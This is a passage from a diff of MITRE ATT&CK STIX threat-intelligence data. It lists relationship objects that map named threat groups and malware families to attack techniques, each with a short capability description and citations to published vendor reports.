"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can list files and directories.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7105ecea-8da8-4723-b717-ae9c3152cfdd", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) provides access to the Windows Registry, which can be used to gather information.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f55d54fe-27ed-41f9-81db-11ccbe2d2125", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "modified": "2019-05-14T17:10:21.934Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) modifies the %regrun% Registry to point itself to an autostart mechanism.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cb69898b-b5e4-407a-964d-a13149accdd7", + "external_references": [ + { + "source_name": "fsecure NanHaiShu July 2016", + "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", + "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) steals user files from local hard drives with file extensions that match a predefined list.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dad229e7-fcc6-4c1d-99c3-47d54fbc6892", + "external_references": [ + { + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T19:57:37.433Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f6d23c6b-01c8-4bea-9bc6-2c66fbbbd3ae", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) has a command to set certain attributes such as creation/modification timestamps on files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d43315b0-d708-4197-b3ed-0a0b1199e434", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", + "relationship_type": "uses", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "For all non-removable drives on a victim, [USBStealer](https://attack.mitre.org/software/S0136) executes automated collection of certain files for later exfiltration.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7a892ca0-f915-4dc1-817a-cdcfb6777f28", + "external_references": [ + { + "source_name": "ESET Sednit USBStealer 2014", + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) has a command to gather system information from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ced766d2-ca63-43d2-8551-76f37696cc88", + "external_references": [ + { + "source_name": "Unit 42 Bisonal July 2018", + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) dropped and executed tools used for password cracking, including Hydra.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b75c08e0-4d11-46dc-a582-ca496352bb1c", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + }, + { + "source_name": "Kali Hydra", + "description": "Kali. (2014, February 18). THC-Hydra. Retrieved November 2, 2017.", + "url": "https://tools.kali.org/password-attacks/hydra" + } + ], + "modified": "2019-03-22T20:13:49.625Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information about local groups and members.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--77bd9ea1-9401-4128-a78a-bd28d43a6c99", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.798Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[XTunnel](https://attack.mitre.org/software/S0117) has been used to execute remote commands.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3264e1db-0f54-4049-a45c-3a03a24709aa", + "external_references": [ + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + } + ], + "modified": "2019-04-19T18:36:32.003Z", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs local network connection discovery using netstat.", + "type": "relationship", + "created": "2017-05-31T21:33:27.033Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eaa06586-e33e-4e4c-91ca-76935c22e012", + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "modified": "2019-04-22T15:08:48.500Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Duqu](https://attack.mitre.org/software/S0038) will inject itself into different processes to evade detection. The selection of the target process is influenced by the security software that is installed on the system (Duqu will inject into different processes depending on which security suite is installed on the infected host).", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7c3b845e-56ca-4580-b060-a3fa42b86a86", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.263Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "An executable dropped onto victims by [Putter Panda](https://attack.mitre.org/groups/G0024) aims to inject the specified DLL into a process that would normally be accessing the network, including Outlook Express (msinm.exe), Outlook (outlook.exe), Internet Explorer (iexplore.exe), and Firefox (firefox.exe).", + "type": "relationship", + "created": "2017-05-31T21:33:27.059Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a442fcac-55d7-49ff-8ecf-ca61885c27e2", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2019-03-25T16:53:38.817Z", + "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[T9000](https://attack.mitre.org/software/S0098) searches through connected drives for removable storage devices.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ea93ff11-939f-449a-a222-4273d9fc9f3c", + "external_references": [ + { + "source_name": "Palo Alto T9000 Feb 2016", + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "relationship_type": "uses", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) exfiltrates data to its C2 server over the same protocol as C2 communications.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4ffcf69a-c7ef-46dc-add7-9093e454a67e", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the showBackupIosFolder function to check for IOS device backups by running ls -la ~/Library/Application\\ Support/MobileSync/Backup/.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6c8303dd-6ecc-47ea-abd6-6d5b2e557d96", + "external_references": [ + { + "source_name": "XAgentOSX 2017", + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "modified": "2019-07-26T23:07:21.178Z", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "relationship_type": "uses", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proton](https://attack.mitre.org/software/S0279) removes logs from /var/logs and /Library/logs.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--abd0cc1c-8901-4645-8853-c394ae8c573c", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2019-06-24T19:03:52.721Z", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) can get a list of the processes and running tasks on the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f6247612-3255-44eb-860f-e882ee1f36f6", + "external_references": [ + { + "source_name": "Unit 42 VERMIN Jan 2018", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) uses HTTP for C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--213b2924-9f77-4352-b92c-da83d00da353", + "external_references": [ + { + "source_name": "Unit 42 VERMIN Jan 2018", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. 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Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) is able to wipe event logs.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ad696f42-0631-43fb-893b-a5616f14f93f", + "external_references": [ + { + "source_name": "FireEye Hacking Team", + "description": "FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html" + } + ], + "modified": "2019-04-16T20:26:40.923Z", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) creates various subdirectories under %Temp%\\reports\\% and copies files to those subdirectories. It also creates a folder at C:\\Users\\\\AppData\\Roaming\\Microsoft\\store to store screenshot JPEG files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c93bb2b9-bd22-4e14-b884-2141168387b2", + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to gather the victim's current directory.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f757a567-97b2-41b0-b58a-1530156ba457", + "external_references": [ + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:25:50.423Z", + "type": "relationship", + "id": "relationship--308e4e12-9dc8-41e8-ad5c-b21978ff57eb", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--f6b7c116-0821-4eb7-9b24-62bd09b3e575", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-25T12:24:57.567Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--67003297-a35d-452f-b83b-34556115d15c", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "An [APT19](https://attack.mitre.org/groups/G0073) Port 22 malware variant registers itself as a service.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4999a323-b025-4a1d-8c80-5ae36b2f5a0d", + "external_references": [ + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ], + "modified": "2019-04-25T11:39:52.243Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "relationship_type": "uses", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) communicates with its C2 server over HTTP.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f5a175ba-ed26-44f8-9828-c2aa0e1f7d86", + "external_references": [ + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + } + ], + "modified": "2019-06-24T17:08:51.762Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) gathers product names from the Registry key: HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion ProductName and the processor description from the Registry key HKLM\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0 ProcessorNameString.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c8bf1e63-1275-46c7-b378-b4a3cc3eb369", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-22T22:40:41.290Z", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can read data from files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5073b1b4-4018-4208-a46e-86a8358a6cee", + "external_references": [ + { + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "source_name": "Symantec Hydraq Jan 2010", + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Felismus](https://attack.mitre.org/software/S0171) samples use AES to encrypt C2 traffic.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": 